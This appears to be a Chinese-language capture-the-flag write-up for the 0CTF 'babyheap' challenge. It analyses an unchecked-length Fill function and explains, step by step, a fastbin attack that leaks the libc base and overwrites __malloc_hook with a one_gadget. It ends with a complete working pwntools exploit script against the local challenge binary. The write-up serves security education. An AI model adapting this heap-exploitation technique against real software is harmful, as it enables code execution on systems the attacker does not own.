0%

0ctfbabyheap

0ctfbabyheap

程序分析

1580313525795

程序主要分为四个功能:Allocate,Fill,Free,Dump

Allocate:

1580113992227

依次按照下标分配,最多为16个chunk,首先判断是否为using chunk,输入size后最大为0x1000,使用calloc分配空间(相较于malloc函数,calloc函数会自动将内存初始化为0)然后更新记录结构体的FLAG、size,content_ptr

Fill:

1580114274572

输入下标后判断下标是否在范围内,然后判断对应下标的记录结构体FLAG位是否是1(using or not),然后输入size,判断size是否大于0,然后直接输入,此处并未做输入大小检查

Free:

1580114435473

输入下标,判断是否在范围内,然后判断using or not,接着置记录结构体FLAG位为0,size为0,然后free掉content_ptr指针并置零

Dump:

1580115008365

输入下标后判断是否在范围内,判断using or not,然后按记录的size打印内容

Exploit:

多calloc几个chunk之后可以利用Fill的漏洞修改相邻chunk的size还有内容

1
2
3
4
5
6
7
8
alloc(0x20) #index 0 chunk 0
alloc(0x20) #index 1 chunk 1
alloc(0x20) #index 2 chunk 2
alloc(0x20) #index 3 chunk 3
alloc(0x80) #index 4 chunk 4 Small chunk
alloc(0x20) #index 5 Avoid merging into top_chunk
free(1)
free(2)

此时chunk 1,2位于fastbin中,且chunk 2的fd指向chunk 1,通过Fill chunk 0,可以达到修改chunk 2 fd,使其指向chunk 4,然后通过Fill chunk 3 修改chunk 4的size,避免fastbin attack时size不同而出错

1
2
3
4
5
6
7
8
9
10
payload  = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0) #Low byte of chunk 4's address
fill(0, payload) #This payload only edit the fd of chunk 2

payload = p64(0)*5
payload += p64(0x31) #This payload edit the size of chunk 4
fill(3, payload)
1
2
alloc(0x20)#index 1  chunk 2 back
alloc(0x20)#index 2 chunk 4

然后再通过chunk 3修改chunk 4的大小,这样在free chunk 4 之后chunk 4的fd还有bk就会指向 main_arena

1
2
3
4
5
payload  = p64(0)*5
payload += p64(0x91)
fill(3, payload) #recover 0x80

free(4)#fd & bk point to main_arena now

此时Dump chunk 2就可以获得 fd & bk的值,从而获得libc base

1
libc_base = u64(dump(2)[:8]) - 0x3c4b78 #The offset of main_arena+... in libc

此时可想办法利用__malloc_hook,将one_gadget填入,当__malloc_hook不为0时即可调用

1580295721778

由于index 2此时指向的依然是chunk 4,我们可以对free掉的chunk 4的fd做修改,再次利用fastbin attack申请到一个包含\malloc_hook的堆块,不过此时要缩小其大小,让chunk 4的size在fast chunk之内

利用fastbin attack申请一个包含\malloc_hook的堆块需要对应的地方有合适的size

1580296367287

当偏移加上0xd之后,利用此处的0x7f size来构造一个chunk,所以我们要将free后在usorted bin中的chunk 4分割,calloc(0x60)然后free之后即可利用chunk 3来修改其fd

1
2
3
4
5
6
alloc(0x60) #0x80---->0x70
free(4) #Set chunk to fastbin

fill(2, p64(libc_base + 0x3c4aed)) #Fastbin attack target
alloc(0x60)#index 4
alloc(0x60)#index 6 get our target

最后利用

1
2
3
4
5
6
payload  = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)#one_gedget
fill(6, payload)#Fill __malloc_hook

alloc(255)#just call the function

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './0ctfbabyheap' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here

elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
# todo here

def alloc(size):
p.sendline('1')
p.sendlineafter(': ', str(size))
p.recvuntil(': ', timeout=1)

def fill(idx, data):
p.sendline('2')
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(len(data)))
p.sendafter(': ', data)
p.recvuntil(': ')

def free(idx):
p.sendline('3')
p.sendlineafter(': ', str(idx))
p.recvuntil(': ')

def dump(idx):
p.sendline('4')
p.sendlineafter(': ', str(idx))
p.recvuntil(': \n')
data = p.recvline()
p.recvuntil(': ')
return data
def exploit():
p.recvuntil(': ')

alloc(0x20) #index 0
alloc(0x20) #index 1
alloc(0x20) #index 2
alloc(0x20) #index 3
alloc(0x80) #index 4
alloc(0x20) #index 5 Avoid merging into top_chunk
free(1)
free(2)

payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)

payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)

alloc(0x20)#index 1
alloc(0x20)#index 2 0x80

payload = p64(0)*5
payload += p64(0x91)
fill(3, payload)#recover 0x80

free(4)

libc_base = u64(dump(2)[:8]) - 0x3c4b78
log.info("libc_base: " + hex(libc_base))#libc successful
alloc(0x60)#0x80---->0x70
free(4) #Set to fastbin
fill(2, p64(libc_base + 0x3c4aed)) #Fastbin attack target
alloc(0x60)#index 4
alloc(0x60)#index 6
#gdb.attach(p,'brva 0xdcc\nbrva 0x1022\nbrva 0x4f3\nbrva 0x1107')
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
fill(6, payload)

alloc(255)

exploit()
p.interactive()